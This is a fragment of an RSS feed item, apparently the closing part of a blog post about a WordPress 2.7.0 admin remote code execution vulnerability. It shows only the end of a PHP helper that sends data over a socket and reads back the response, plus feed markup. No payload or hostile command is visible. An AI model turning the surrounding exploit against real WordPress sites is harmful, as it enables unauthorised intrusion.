<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Blue;">fputs</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">, </span><span style="color: #00008b;">$data</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$resp</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">''</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">while</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;"> &amp;&amp; !</span><span style="color: Blue;">feof</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Olive;">))</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$resp</span><span style="color: Gray;"> .= </span><span style="color: Blue;">fread</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">, </span><span style="color: Maroon;">1024</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$resp</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Blue;">?&gt;</span></li></ol></div>
]]></content:encoded>
			<wfw:commentRss>http://note.ajneok.org/uncategorized/wordpress-270-admin-remote-code-execution-vulnerability/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

